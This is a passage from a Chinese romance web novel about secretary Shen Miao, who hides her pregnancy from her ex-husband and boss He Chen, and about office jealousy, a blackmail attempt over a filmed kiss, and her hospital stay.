她连步后退,差点儿摔倒时,腰肢一紧,被男人强而有力的小臂贯穿着稳住身体。 下一秒,天旋地转间,沈渺的背抵在车身上。 男人低头,准确无误地捕捉到她的唇瓣。 霸道又汹涌的吻来得突然,沈渺的呼吸在一瞬间被剥夺。 她下意识攥住了贺忱的衣角,动了动唇想说的话却是被他吞入腹中。 沈渺很少见贺忱喝酒,并不知他醉了会是这般样子。 但贺忱失控,她却是见过不少次。 结婚那两年,沈渺每个月为期五天的例假,对贺忱来说都是一种折磨。 例假期后,他每每失控。 就像现在这般,吻得汹涌,呼吸急促,迫切的…… 他温热的大掌握住她细细的腰肢,灵活的手指将她衬衫从裙腰处扯出。 微凉的指尖触碰到沈渺皮肤的那一刻—— 沈渺蓦地清醒。 她猛地一把将贺忱推开,“贺总,你喝多了。” 或许,贺忱是把她当成了程唯怡。 贺忱背脊抵在路灯下,他头顶的光亮笼罩下来,五官深沉昏暗,令人看不透。 “您早点回去休息,我先走了。” 沈渺转身上车,将油门踩到最底,迅速离开。 后视镜里,路灯下男人的影子渐渐缩小,直至最后消失不见。 一个眼神让沈渺凌乱。 一个吻,更是让她乱得彻底。 驱车回家,到达目的地后她没立刻下车,而是落下车窗吹吹冷风,打算冷静一会。 恰好商音每天例行公事般的电话打过来。 “这么晚还在外面?” 听到沈渺这端风声很大,商音担心,“这都加了多少天班,你的身体吃得消吗?” 沈渺声音透着疲倦,“确实有些累,但马上放假了。” “可你年后不是还得回去才能提离职吗?”商音提醒她,“前三个月最重要了,你既然决定留下这个孩子,千万要注意。” 她这一说,沈渺才想起来送贺忱回家目的是提离职。 结果—— “提完离职,交接工作期间工作量就没这么大了。” 商音,“可是……” 沈渺打断她,“好了,你就别操心我的事情了,我干儿子乖不乖?” “不乖。”商音哼了哼,“我都想把他塞回肚子里了,这臭小子现在黑白颠倒,比我直播的时候还累!” 商音玩儿网络,是个网红,收入可观。 她与沈渺性子天差地别,沈渺稳扎稳打,她主打一个随心所欲。 这个孩子,是商音做试管怀上的,商音是不婚主义者。 沈渺安抚她,“等我辞职完,帮你带孩子。” “交给月嫂就好了,到时候你大着肚子我伺候你。” 商音那端传来孩子的哭声,“先不跟你说了,月嫂做宵夜去了,我得自己看着这臭小子……” 挂了电话,沈渺心底的沉闷消散得七七八八。 她打开车门下来,不待走进单元楼,一道刺眼的汽车灯光照过来。 沈渺被照得看不清楚,只能又退回自己的车旁。 汽车熄灭,车灯灭了。 沈渺放下挡着眼睛的手,一眼看清来的人是谁。 “沈秘书,好大的架子,自己不去九洲报道,还得我来请?” 何之洲依旧穿着花衬衫。 只是此刻他脸上没了那日的灿烂笑容。 沈渺并未答应他入职九洲,那天不过是敷衍,何之洲其实心里清楚。 只不过输了项目给贺忱,何之洲故意以此来找茬。 “何总,您应该是理解错了。” 何之洲走到他车前,身体后倾坐在了引擎盖上。 “刚刚听你打电话说,你有辞职的打算?” 沈渺心头一紧,懊恼自己不该开着车窗打电话。 不知他听了多少。 她抿了抿嘴唇,迟疑片刻说,“您也听错了。” 她不承认,何之洲拿她没办法。 但何之洲却是笑了,他掏出手机点了两下,递给沈渺面前。 手机画面上,贺忱将沈渺抵在车上,狠狠地吻她。 他脉络清晰的手握着她细细的手腕,短短几秒的视频却充满了暧昧的气息。 沈渺下意识想将手机拿过来。 何之洲迅速将手机关了,放兜里。 “我以为贺忱是君子,没想到他也玩儿这套!” 转瞬,何之洲又狂妄起来,“虽然你能力出众,但他肯定相中了你这张脸,所以才提拔你的吧,这几年……” 他拉长尾音,意思不言而喻。 这几年,贺忱一定没少占沈渺便宜。 甚至,说不定已经吃干抹净了。 “贺总喝多了,那只不过是一个误会。”沈渺尽力让自己冷静下来,“何总,您别多想。” “沈秘书,我们来做个交易,如何?” 何之洲手里捏住了沈渺的命脉。 13.没必要为昨天的事情躲我 沈渺沉默,面色写满了抗拒。 “我知道你们什么都没发生,可如果这段视频流出去,不知道程唯怡信不信。” 何之洲看到了沈渺推开贺忱。 但只有他看到了,这段视频流出去,是没有信他们接下来什么都没发生的。 “何总可以先说说看。”沈渺不敢直接答应。 何之洲露出胜利者笑容,“放心,你这样的大美人儿我不舍得为难,等你在百荣辞职优先考虑一下九洲,这是附加条件,怎么样?” 沈渺拧了拧眉,“您先说正事。” “当我两天的跟班。”何之洲眉尾挑着,一副痞坏,“放心,是等百荣放假以后。” 他的要求,出乎沈渺的预料。 沈渺以为,他会直接拿那段视频,威胁她跳槽到九洲。 若没有那两年的婚姻,沈渺一定不会受他威胁。 调出贺忱家的视频,就能向程唯怡解释清楚今晚他们什么都没有。 可如今程唯怡与明黎艳本就把她当成眼中钉。 不能再节外生枝。 何之洲丢了项目,拿贺忱没办法,这是要拿她撒气。 再三权衡后,沈渺说,“我可以答应,但是违法的事情不做,而且你也不能强行违背我的意愿。” 何之洲这人虽然肆意张扬了些,但是名声不坏。 沈渺不怕他会对自己不利。 “行,就这么说定了。”何之洲毫不犹豫答应,“放假以后等我通知。” 他站直身体,眼底划过一抹精光,转身上了车。 不过几分钟的交谈,沈渺冻透了。 不等何之洲的车离开,她率先回了楼道内。 百荣放假其他企业几乎全部放假,所以当何之洲的跟班要做的肯定与工作无关。 不会给贺忱以及百荣带来任何的负面影响。 或许,何之洲会让她跑遍大半个京北,买个烤红薯。 诸如此类的刁难,她都做好了准备。 但沈渺始终做不好,明天怎么见贺忱的准备。 贺忱那个样子,应该是喝多了,今晚的事情都不记得。 就算记得,也只是一个误会,酒精作祟。 或许,只有她一个人不自在。 一晚的翻来覆去,临近天亮沈渺才睡过去。 早上的闹铃响起,沈渺在一阵头疼欲裂中醒过来。 意识回笼,四肢百骸一阵阵的痛意袭来。 那天在贺家加班后,沈渺就一直有些轻微感冒。 再加上这段时间高强度加班,她的身体终于扛不住,发烧了。 换做以往,沈渺一包退烧药下去,不会耽误上班。 但情况特殊,沈渺给贺忱发消息请假后,打车去医院。 —— 百荣集团。 办公桌上,贺忱的手机响了一声。 程唯怡看了一眼,见发消息的人是沈渺,立马将手机拿起来了。 【贺总,我身体不适申请休假,您今天的行程我已经发送到邮箱,早上八点半的董事会议尤为重要。】 这次董事会是年度报告,沈渺特意在消息中提了一嘴,生怕贺忱没空看邮箱。 程唯怡只将这条消息看了一半,反手就把短信删了。 她并不关心贺忱的工作会不会被耽误,想的是就算耽误了,贺忱只会怪沈渺失职。 直接把沈渺开除算了,省得等到年后还得走流程。 她一天都不想再看到那女人了! 片刻,贺忱从休息室出来,将银灰色的腕表扣在手上。 “贺忱哥。” 程唯怡迅速将手机放回原处,“好端端的你怎么大半夜跑来公司加班?” 贺忱面色划过一抹不自在,他捏了捏眉心,“临时有些着急的工作要处理。” “现在工作处理完了,你快去睡会吧。”程唯怡体贴道。 此刻刚六点半,距离上班还有两个小时。 “不了。”贺忱拉开椅子坐下,眉心紧锁。 “最近公司事情多,你要好好保重身体才能更好地把今年收尾,万一熬病了这个春节没人照顾我了。” 程唯怡把他刚拿起的文件夺走,“快去休息,等会儿沈秘书来上班会喊醒你的。” 因为临时掺了政圈项目,导致工作量翻倍,距离放假还有三天,而贺忱手头还有一堆没处理完的工作。 他眉宇透着几分疲倦,思忖片刻站起来,“好,你也回去休息吧。” 程唯怡点头,送他到休息室门口,看着他躺下来才离开。 离开百荣,程唯怡又给周芸发了一个消息。 【贺忱哥昨晚通宵加班,不许任何人进去打扰他,有工作都交代给沈秘书处理。】 周芸立马回了消息:【收到!】 有了程唯怡的话,周芸上班后专门堵在贺忱办公室门口。 任何来找贺忱的人,都被她挡下,然后将一堆文件放在了沈渺办公桌上…… 直到九点钟,林昭从会议室里出来。 “贺总呢?” 周芸搬了个椅子,在办公室旁边坐着。 见林昭面带急色,她迅速站起来,“贺总在睡觉,程小姐说除了沈秘书谁都不许打扰贺总休息。” “沈秘书人呢!?” 林昭见沈渺的工位上空空如也,“董事会八点半开始,董事们等了半个小时了!” 一听这话,周芸立马让开办公室门口的位置。 “我不知道啊,沈秘书怎么还没来?她不知道今天有会议吗?也不知道提醒贺总!” 林昭推开办公室门进去,不待他进入休息室,便见贺忱一身西装革履阔步而来。 “贺总——” 不待林昭说话,贺忱在桌子上拿了一份文件,阔步朝外走。 出了办公室门,见沈渺的工位上空空如也,贺忱的眸光倏地眯起。 “我这就联系沈秘书。” 林昭迅速掏出手机,给沈渺打电话。 贺忱恢复步伐,朝着会议室走去。 两个小时后,董事会议结束。 会议室门被推开,贺忱面色阴郁着走出,“你是说,联系不上沈秘书?” “沈秘书的手机无人接听。” 林昭每隔几分钟打一次,打了不知多少通电话,都没人接。 沈渺工位上的文件堆积成山,贺忱走过来停顿了几秒,眸光锐利。 他掏出手机直接打给沈渺。 电话响了约莫七八声,快要自动挂断时,被接起。 “喂……” 电话那端一阵嘈杂,依稀能听见医院播报叫号的声音。 贺忱嗓音涔冷,“如果你是为了昨天的事情故意躲我,完全没必要,更不能拿工作来开玩笑。” 14.沈渺住院昏倒,贺忱赶来 “先生您是病人家属吗?” 那端嘈杂后,小护士的声音变得清晰,“病人在医院挂点滴晕倒了,您能来一趟吗?” 病人家属? 贺忱迅速将沈渺定位成‘病人’,可他无法将自己跟‘家属’两个字联系到一起。 拒绝的话即将脱口而出时,他想起沈渺是孤儿。 “哪个医院。”他眼皮落下,盯着沈渺桌上一颗长满刺的仙人掌绿植。 “市一医院。” 小护士说完,催促道,“您尽快过来,病人情况特殊,我们要跟您交代清楚病情。” 情况特殊?贺忱敏锐地捕捉到这四个字,他应声,挂断电话。 “林昭,备车,市一医院。” 贺忱转身进入办公室,拿了外套出来。 “贺总,还有很多工作等着您处理呢!” 林昭一脸焦急,“下午还有海外会议要开呢!” 贺忱步伐不减,不过转身来到电梯前,他看了眼腕表。 “把会议挪到晚上。” 闻言,林昭只能颔首,“是。” 迈巴赫从百荣集团地下停车场驶出,直奔市一医院…… —— 沈渺打车到医院时,已经烧到三十九度多。 她感染了病毒,情况危急医生直接给她挂了点滴。 谁知点滴打到一半,沈渺就昏倒了。 再次醒来时,她已经躺在病房的单人床上。 小护士正在给她换点滴液。 “沈小姐,你可算醒了,还有没有觉得哪里不舒服?” 沈渺摇头,却一阵头疼欲裂,她张了张嘴,嗓子嘶哑发不出声音。 病来如山倒,没想到一下子这么严重。 小护士换好药,倒了一杯温水过来,“来,喝点水,我扶你起来。” 沈渺撑着身体坐起来,喝了一杯温水后,清了清嗓子,这才开口。 “不好意思,麻烦你们了。” 小护士笑了下摇头,“没关系,你的家属刚好打电话过来,他已经来了,并且给你安排了全面检查,血已经抽完了,等会做完检查去把彩超做了,刚好也该孕检了吧。” “家属?”沈渺一愣,她哪里来的家属? 脑海里不由自主浮现贺忱的影子,但她很快就甩了甩头,将贺忱从家属的名单里踢除了。 结婚那两年,他都没光明正大当过她的家属。 “请问是谁来……” “莫护士,赶紧来一趟36床,病人有状况!” 不等沈渺问完,门外传来一道声音。 小护士松开她放下水杯就往外走,“你的家属去缴费了,马上就回来,你有事摁护士铃。” 沈渺坐在病床上冷静了几秒,扭头四处找手机,却没找到。 她立马摁铃呼叫护士。 “麻烦问一下,我刚刚在输液室晕倒,被您们转移到病房后,手机不知道去哪里了。” “在你的家属手里,他马上就回来了,您等等吧。” 护士回答完就结束了通话。 沈渺满腹的疑问,被堵在喉咙里没机会说出来。 会来医院,帮她缴医药费为她跑前跑后的人不多。 商音是其中之一。 但商音是夜猫子,一般睡到下午才起床,然后在她晚上下班后找她闲聊。 虽然她请了假,但工作上若是有事,贺忱一定会找她。 而她调成静音的手机,除了商音只有贺忱在白名单里,他若打电话会响铃—— 沈渺倒吸一口凉气,难道真的是贺忱来医院了? 她轻咬着下唇,心间忐忑,脸色逐渐惨白。 护士应该不会跟贺忱提及她怀孕的事情吧? 可护士把贺忱当成她的家属,安排全面检查……一定会提及她身体状况。 沈渺左脑攻击右脑,一边抱着侥幸心理一边又做最坏的打算。 没准是商音刚好有事找她呢? 她抿了抿唇瓣,再一次拨通了护士铃。 “请问,帮我缴费的家属是姓商吗?” “你自己家属姓什么不知道吗?”护士忙,语气有些不耐烦,“姓贺。” 说完,通话结束。 沈渺顿时背脊发凉,她拔掉了手上了的点滴管,鲜红的血液在她手背上流出。 钻心的疼痛袭来,她却不顾,抽了一张纸摁在手背处,拿了外套就往外跑。 她刚出病房,小护士就一阵惊呼。 “沈小姐,你的点滴还没打完!” “我有事不打了。”沈渺语气匆忙,说完转身往外走。 她烧还没退,头昏脑涨,走起路来跌跌撞撞。 小护士不放心跟上她,“你这样走了,出事了怎么办?” “出事我自己负责。”沈渺摁下电梯,手背上的纸已经被血完全浸透。 “没有什么事情比自己身体更重要,你要真有事可以让家属代办。” 小护士劝说她,“别拿自己和孩子的生命开玩笑啊!” 沈渺的手覆上小腹,在心里跟孩子说了一句,一定要坚持住。 她不知如何回应护士的话,只能歉意地摇头,“谢谢你的关心,但是抱歉,我真的要走。” 她要走,小护士拦不住,“那你也要在免责书上签字。” ‘叮……’ 电梯门缓缓打开。 贺忱走出来,他一眼看到脸色苍白,瘦得宛若纸片人的沈渺。 目光触及沈渺手背上的血,他眸色深谙。 “沈秘书,你的手流了好多血!” 林昭跟在贺忱后面出来,看到这一幕忍不住惊呼。 沈渺黑白分明的眼眸撞入贺忱鹰隼般的眸。 她的心一瞬被提起,堵在嗓子眼里,她能听到自己如鼓的心跳声,一下又一下。 “二位是病人家属吧?病人刚醒,闹着要离开,点滴还没打完。” 小护士像见了救星一般。 沈渺强装冷静,“贺总,我……啊!” 贺忱向前两步,直接将她打横抱起,“她病房在哪里?” “108!”小护士指了个方向。 贺忱抱着她朝病房里走。 “贺总,您没必要为了我的事情特意跑一趟,我的身体我自己清楚,怎么样都跟您……没关系。” 沈渺的手下意识抓着他胸膛的衣襟,暗示着撇清关系。 贺忱却是一声冷笑,“是吗?可我怎么觉得,非常有必要跑这一趟,而且我们需要好、好、聊、聊!” 15.不承认孩子是他的 末尾的四个字,贺忱一字一顿。 一下一下,敲在沈渺的心头。 沈渺垂着眼眸,视线落在他滚动的喉结上。 性感又危险的气息,一瞬将她彻底包裹住。 她不动声色,任由贺忱把她抱到床上,轻咬着嘴唇静等着贺忱先开口。 至少,她要知道贺忱知道了多少。 就算知道她怀孕,她也可以不承认孩子是他的。 那一晚,只要她不说,没人知道。 她垂在身侧的手,紧紧抓着衣角。 “林昭,到外面守着。”贺忱走到窗边,身体后倾靠在窗沿上。 林昭转身出去,关好病房门。 病房里安静下来,落针可闻。 沈渺能更清晰地听到自己心跳,她垂着眼帘,静等着贺忱先开口。 “昨晚,我喝多了。”贺忱凝着她,“酒后失态,你不必如此介意。” 他不提,沈渺都忘了这茬。 怕跟他见面尴尬的担心,早已被他这‘家属’的身份而忘却。 沈渺摇了摇头,不说话。 贺忱眉头拧得更深,深如渊底的眼眸里倒映着她巴掌大的小脸。 她有情绪,似乎不愿意跟他说话。 两年前那场婚姻,是因为他醉酒才开始的。 他为了负责娶她。 如今离了婚,他又失态—— “跟了我这么久,你应该了解我,昨晚……” 沈渺急急开口打断他,“贺总,我知道你只是错把我当成了程小姐,我没有介意。” 她若不介意,就不会直接旷工。 就算是生病,至少也该请假。 尤其此刻她的表情—— “就算不是她,我也不会对你有什么念头,离婚时我说过只要你不后悔就行。” 而他,是绝对不会后悔的。 贺忱明确的态度,宛若一把利刃,正中沈渺的心脏。 她自始至终,都没入过贺忱的眼吧。 就算没有程唯怡,就算她没有主动提离婚,他们这段婚姻……注定也走不到尽头。 对他几年的暗恋,终归是她一个人的独角戏。 早已接受现实,可每每想到这儿,沈渺还是难受到无法呼吸。 她的脸色白如纸,心底揪着,强压情绪保持镇定,不论如何也不能承认孩子是贺忱的! 她干脆先发制人,“贺总放心,我有自知之明,所以我有……” 不待她说完,病房门被人从外面推开。 “哥,你来了。” 贺懿走进来,从口袋里掏出手机递给沈渺,“渺渺,你生病了怎么不说一声?要不是刚好我带奶奶在医院做体检,都不能这么及时赶过来给你安排病房!” 沈渺蓦地抬头,诧异地看着她。 那位姓‘贺’的家属,是贺懿? “你检查到哪一步了?奶奶那边刚好有事,我来不及听护士说你情况,安排完检查就走了,问题不大吧?” 贺懿拿过床头的病历单,转手掀开。 沈渺立马将病历单拿回来,“只是风寒导致的发烧,挂两天点滴就行,不用检查了。” 病历单里有她的怀孕诊断单。 虽不知贺忱到底是怎么知道她在医院的,但现在看来贺忱是刚到医院,还什么都不知道。 而贺懿帮她办完住院,就回了贺老夫人那儿。 “是不是这段时间工作太忙,熬不住了?” 贺懿在病床上坐下,打量完她扭头去呵斥贺忱,“哥你也真是的,把人都当铁打的使唤,这么压榨下属哪里行!?” 贺忱一言不发看着沈渺。 沈渺垂着眼帘,避开他的目光,“是我身体底子不好,不怪贺总,只怕我不能再为贺总分担,要休假到春节了。” “准了。”贺懿立马发号施令,“哥,回去就给她批假,不许扣工资啊。” 见沈渺面对贺懿面色随和如初。 贺忱的面色沉了一层,他薄唇轻启,“既然如此,沈秘书好好养着,我希望你调整好‘状态’,过完节回来能恢复如常。” 他这话的意思是,把昨晚那事儿忘记。 他这么把这事儿当回事,可能是怕程唯怡知道。 沈渺安他的心,“贺总放心,我知道该怎么做。” 正中午的阳光照进来,打在贺忱身上,他的影子刚好笼罩在沈渺身上。 沈渺看了他一眼,看不清他的脸,勉强能看到面部轮廓。 只一眼,她迅速收回目光。 “沈秘书刚刚说,所以什么。” 贺忱站直身体,身上淡淡的清洌好闻的味道,萦绕在沈渺鼻翼间。 沈渺清可见底的眸看向他,“所以我今天没去上班,只是因为生病了。” 男人看着她,似乎在质疑这话的真实性。 “你们聊天可真没意思,打官腔。”贺懿吐槽,“真不像做过两年夫妻的。” 贺忱肃然地看了贺懿一眼,交代道,“照顾好奶奶,批准你提前休假。” 贺懿撇了下嘴,“爸妈跟程叔叔他们去国外度假,你忙工作还要陪程唯怡,剩下我一个人独挑大梁了?” “等我忙完公司,过来接替你。” 贺忱拿起外套搭在臂弯,阔步离开。 他背影消失在门口,沈渺提着的心落回腹中。 病房里只剩下她和贺懿。 “小懿,奶奶怎么了?”沈渺不免担心贺老夫人的情况。 贺懿叹了声,“老毛病,带她来做个全面检查,过个安心年。” “没事就好,你先回去照顾奶奶,等我退了烧再上去看她。” 沈渺不放心贺老夫人一个人在病房。 “那你一个人怎么办?”贺懿不放心她。 “商音等会过来。”沈渺冲她笑了笑,“别告诉奶奶我生病,免得奶奶担心。” 闻言,贺懿这才站起来,“那行,我先上去,你有事给我打电话,千万别不好意思。” 她的关心,令沈渺心里一暖。 “好,谢谢你,小懿。” 贺懿挥手往外走,“客气什么!” 沈渺目送她离开,拿过手机打开。 手机上诸多的未接来电,都因为静音并未被接起。 唯一接起的便是贺忱那通电话。 她点开林昭发来的信息。 【沈秘书,你无故不到岗,贺总错过了八点半的董事会非常生气,你快接电话啊!】 无故不到岗? 难怪刚刚贺忱脸色不好,解释昨晚的事情,是认为她在为昨晚的事情闹意见,旷工? 可她明明发了消息。 沈渺点开与贺忱的聊天框,确定消息没发送失败。 沈渺思来想去,将发过消息的截图给林昭发过去。 【我跟贺总请过假了,你帮我问一下贺总是不是没看到。】 第16章 奶奶出大事了 沈渺对待工作的态度是毋庸置疑的。 董事会迟到是大事,若传开了是她这个秘书的失职,会影响她的事业。 她必须弄清楚。 林昭将她发来的截图,转发给贺忱。 “贺总,您是不是没看到沈秘书的请假信息?” 贺忱看了眼截图,眉骨一拢,打开与沈渺的聊天界面。 最后一条消息停留在几天前的工作回复上。 他眸光瞬沉,将手机关了,一股凛然的气息衍生出来。 见状,林昭不敢说话。 一下午,贺忱都在忙碌的工作中度过。 傍晚时,程唯怡送了爱心晚餐过来。 但刚进办公室没就几分钟,程唯怡推门出来。 “不过是一条信息,你至于对我这么凶吗!” 她红着眼眶,丢下一句话气冲冲走了。 林昭顿时明白这是什么情况,他立马给沈渺打电话,将事情来龙去脉说清楚。 沈渺等林昭回复,等了一下午。 未曾想,等来的却是程唯怡把消息删了的结果。 “沈秘书,以后再请假尽量打电话吧。” “知道了,谢谢林助。”沈渺挂了电话,脑仁一阵疼。 次日一早,她再三坚持下,医生同意她出院。 贺懿来给她送早餐,发现病房没人,找了护士才知她出院了。 “奶奶,你说渺渺是不是遇到事情了?” 回到贺老夫人病房,贺懿实在按捺不住好奇心,“护士不让她出院,她非要走,而且都不告诉我一声。” 贺老夫人坐在窗前晒太阳,皱起了眉头,“渺渺住院了?” 贺懿:“……” 她竟是忘了,这事儿是瞒着贺老夫人的。 “难怪从昨天你就心不在焉,还老跑得不见踪影。” 贺老夫人站起来,严肃道,“实话实说。” 贺懿立马一五一十地说了。 “奶奶,她不会是得什么病了,不想让我们知道吧?” 贺老夫人冲着空气‘呸呸呸’了几声,“不许乱说,不吉利,你去调一下她病历单就知道了。” 贺懿立马去调沈渺的病历。 十分钟后,她拿着病历单一脸凝重地回来。 “奶奶,出大事了……” —— 退烧后的严重感冒症状,让沈渺一整天都昏昏沉沉。 晚上商音给她发视频,听出她不对劲。 “这么重的鼻音,生病了?” 沈渺端着一碗小吊梨汤喝,“嗯,发烧了,去过医院了。” 商音起身往外走,“我去接你,到我这里来养几天。” “不用。”沈渺忙说,“你家里有孩子,会传染的。” 身为过来人,商音很严肃地告诉她,“孕妇生病可不是小事,尤其你还一个人,这个时候别硬撑!” 沈渺连连点头,“我已经去看过医生了,退烧就没事了,我们都以孩子为先。” “那行,你有事给我打电话。”商音见她执意,不再勉强,转而又说,“我看新闻说,你前夫过完春节就订婚了。” 这话是明黎艳亲口说的。 沈渺摇头说,“最近忙,没看新闻。” “你是不看,还是不敢看。”商音一语戳破她。 最近贺忱跟程唯怡要订婚的热度,一度飙升。 若不是刻意避开,不可能看不到。 沈渺不说话。 商音语气突然幸灾乐祸起来,“不过今天的新闻说,程唯怡跟贺忱吵架了,在冷战。” “是吗?”沈渺想到她那条被删除的请假消息。 贺忱从未在工作上出过差错。 尤其还是董事会如此重大的会议。 是因为这件事吗? 商音见她蔫了吧唧,对贺忱的话题都不感兴趣,结束了通话,叮嘱她早点休息。 沈渺挂了电话后,点开网页,不等搜索自动蹦出与贺忱有关的词条。 确实又吵架了。 腊月二十八,今天是百荣正式放假的第一天。 沈渺的感冒养得差不多,正准备去医院看望贺老夫人时,接到了贺懿的电话。 “渺渺,你出院了啊。”贺懿的声音听起来有些不自在。 沈渺正忙着出门,没听出来。 “对,小毛病没必要住院,现在已经好了,正准备去医院看看奶奶。” 贺懿‘呃’了几声,然后说,“那行,我们等会儿见吧,正好奶奶有事找你。” 结束通话,沈渺驱车前往医院。 走到半路时,她的眼皮突然开始狂跳,一直跳到抵达医院。 停好车,沈渺摁了摁眼皮,拎着给贺老夫人买的补品下车。 贺老夫人的病房虚掩着,依稀能听见里面传出断断续续的对话。 “人家怎么可能告诉你?” “哎呀,我可不问,要问你自己问!” “这下你的愿望落空了……” 贺懿的碎碎念中,夹杂着贺老夫人只字片语的感叹。 沈渺敲响了房门,病房里瞬间一片死寂。 隔了几秒,脚步声传出,贺懿跑过来开门。 “渺渺,你来了啊!” “怎么了?”沈渺对上她打量的目光,“这么看着我干什么?” 贺懿忙不迭摇头,倾身把她拉进来,“没,你来得正好,奶奶念叨你半天了!” 病房里弥漫着淡淡的酒精味,沈渺胃里一阵不舒服。 生病后她断了治疗孕吐的药,这才几天,就有反应了。 医生说她比商音更敏感,只怕孕吐会持续很久,而药不能一直喝。 “渺渺。”贺老夫人慈眉善目地冲她笑,“过来坐下。” 沈渺将补品放下,刚走过去坐下,就被贺老夫人抓住手。 “渺渺啊,你……” 话说一半,贺老夫人的声音戛然而止。 她依旧看着沈渺,话就在舌头尖儿上打转,却怎么也说不出口了。 第17章 该不会是被人欺负了吧? “怎么了?” 沈渺面露不解。 “你吃早饭了吗?”贺老夫人一口气提在胸口,差点儿没把自己憋坏了。 贺懿翻了个白眼,不断给贺老夫人使眼色。 沈渺点头,“吃过了。” “那你——”贺老夫人一鼓作气,到嘴的话却变成,“怎么来的医院啊?” “开车。”沈渺一眼看出,贺老夫人有话要说,“奶奶,您有什么话直接说。” 贺老夫人看了眼贺懿。 沈渺顺着贺老夫人的目光,回头看了一眼。 却见贺懿站在她后面,抓耳挠腮的。 这祖孙两个有事。 “算了,没事。”贺老夫人挥挥手,“就是好奇,你今年春节怎么过啊?” 贺老夫人不提,沈渺倒是忘了这茬。 嫁给贺忱这两年,她都是在贺家过春节的。 今年,她又要回归老样子了。 “回孤儿院。” 贺老夫人抓着她的手紧了紧,“来贺家吧,今年家里就我们两个跟小懿,你来添个热闹。” 沈渺想起来,明黎艳他们出国了。 而贺忱今年要陪程唯怡过春节。 “不了,不合适。”她摇头拒绝。 “孤儿院那么多孩子,不缺你一个。”贺老夫人极力劝说,“就除夕夜守岁来贺家,好不好?” 贺懿将椅子拉到病床旁一屁股坐下,“哎呀奶奶,你别为难渺渺,人家就是不去孤儿院,没准……也有人陪呢?” 贺老夫人立马看向沈渺。 沈渺一时没反应过来,“你是说商音吗?她生了孩子今年去不了孤儿院,我不去孤儿院的时候会去她家帮忙看孩子。” “商音结婚了?”贺懿有关注商音的社交媒体账号,不记得听说。 “没结婚。”沈渺摇摇头,“事情有些复杂。” 贺懿识趣,不深问,直接将话题转移到沈渺身上。 “那渺渺你对个人问题,有打算吗?” 这话题转得猝不及防,沈渺愣了几秒才说,“目前还没打算。” 贺懿深吸一口气。 贺老夫人的面色也逐渐凝重。 “奶奶,小懿,我的事情你们就别操心了。” 沈渺想,她们可能在背地里商量她的终身大事。 她跟贺忱离婚没多久,贺懿就要给她介绍一个富二代。 还说贺老夫人说,一定要给她找个比贺忱还优秀的男人。 她们不是说说而已,沈渺只要点头,她们真的介绍。 “奶奶,您的身体怎么样?检查报告都出来了吗?” 贺老夫人‘哼’了一声,“都是老毛病,非要让我住院遭罪。” 贺懿顶嘴,“你当我愿意住在医院啊,吃不好睡不好,我都两三天没洗澡了,我哥说来替我结果到现在都没影子,把我当牛马了。” “别跟我提他!”贺老夫人的脸色瞬间黑了。 贺懿吐了吐舌头,不说话了。 不知贺忱哪里招贺老夫人生气了。 沈渺避开这话题,聊其他的哄贺老夫人开心。 “好了,不用逗我这老婆子开心。”贺老夫人叹息道,“我知道年纪大了不讨喜,但奶奶对你们只有一个要求,有事不能瞒着我老婆子。” 说着她重重拍了两下沈渺的手背。 沈渺有种被她看透的错觉。 看透她有事瞒着贺忱,瞒着贺家,瞒着所有人! “我现在给章妈打电话,让她多送点午餐过来。” 贺懿拿起手机到阳台打通章妈的电话。 章妈却说,“程小姐亲手做了午餐,少爷已经带着她送过去了!” “啊?”贺懿回头看了沈渺一眼。 病房里十分安静,就算贺懿没有开免提,沈渺也将章妈的话听得清清楚楚。 贺懿说了句‘知道了’结束通话,看向贺老夫人。 “奶奶,程唯怡做了午餐,他们正在给你送过来的路上。” “我等会儿去商音那里,就不留下来吃午饭了。”沈渺适时宜开口,“时间差不多了,我先走了。” 贺老夫人一脸不舍,却终归没说什么,挥挥手,“去吧,路上注意安全。” “照顾好奶奶,不用送我。”沈渺阻止贺懿跟出来,快步出了病房。 病房门被关上,外面的杂音被隔绝开。 贺老夫人一声长叹,面色复杂。 “奶奶,渺渺怀的到底是谁的孩子!?”贺懿刚才真想拦着沈渺,不让沈渺离开。 没结婚打算意味着没有跟男人交往。 一个念头突然涌入贺老夫人脑海,“按她的性子,跟你哥离了婚一定不会藕断丝连,这孩子是她到了分公司之后怀上的,该不会是被人欺负了吧?!” 虽然是分公司的总经理,但沈渺背后无人。 她一个女人混商圈不容易,旁人见沈渺漂亮打她的主意—— 这么一想,贺老夫人一阵心惊。 “那怎么办啊?”贺懿着急,“难怪她申请调回来当我哥的助理,八成是怕再被欺负了!” 贺老夫人不能做事不管,“渺渺不想让我们为难,才瞒着我们,你去查一下她身边出现过什么男人!” 贺懿忙不迭点头,“好,我非要把欺负渺渺的王八蛋揪出来,让我哥找那人算账——” “先别告诉你哥。”贺老夫人厉声道,“你哥为别的女人出头,程家那边交代不过去,这事儿就咱俩处理。” —— 沈渺刚到停车场,就看到贺忱的车从外面驶进来。 她侧了下身,站在角落,尽力避开。 贺忱面色不辨喜怒,程唯怡扯着笑容跟在他后面,看样子两人这次吵架,以程唯怡服软告终。 沈渺恍惚了几秒,再回过神来时面前蓦地多了一个人。 是程唯怡。 第18章 年后我要看到你的辞职报告! “你在这儿干什么?” 程唯怡没下车时就看到沈渺了。 她装没看见,跟贺忱进入住院部,谎称落了东西又单独回来了。 沈渺微微颔首,“程小姐。” 她态度不卑不亢,客气又礼貌。 “你装什么装?” 她态度再好,程唯怡也将她当成眼中钉,肉中刺。 “故意跟贺忱哥告状,挑拨我跟贺忱哥的关系,你可真够心机的!” “程小姐没必要对我存在这么深的敌意,我只是贺总的秘书,而且很快就会离职。” 沈渺面色淡然。 程唯怡的怒气消了些,但嘴硬道,“你不离开也阻挡不了贺忱哥跟我订婚,更阻止不了他娶我!” 京北的冬季是最寒冷的时候。 角落处正赶着风口,风往沈渺衣服里钻,冷得要命。 终于,程唯怡说够了。 “年后第一天上班,我要看到你的辞职报告。” 她给沈渺下了最后通牒,转身进入医院。 沈渺往她离开的方向看了一眼,很快又收回目光。 她转身朝车上走去,顶着愈发狂烈的寒风。 贺老夫人病房。 贺忱拎着保温桶率先上来。 见贺老夫人面色红润,他面色缓了些。 “奶奶,我来接您回家。” 贺老夫人见就他一个人来的,长叹一声说,“我老婆子在哪里过春节不是过,可是我一想到渺渺小小年纪,一个人过春节,我这心里就难受。” 贺忱将保温桶放在小桌板上,动作稍顿便恢复如常。 “她以前那么多年都是一个人过,以后更是一个人过,她都习惯了您难受什么?” 贺老夫人差点儿没被这话气死,“你真是瞎了眼!多好的一个姑娘!你们刚离婚的时候,我就让你去求她复合,你不听,现在再想求也没机会了!” 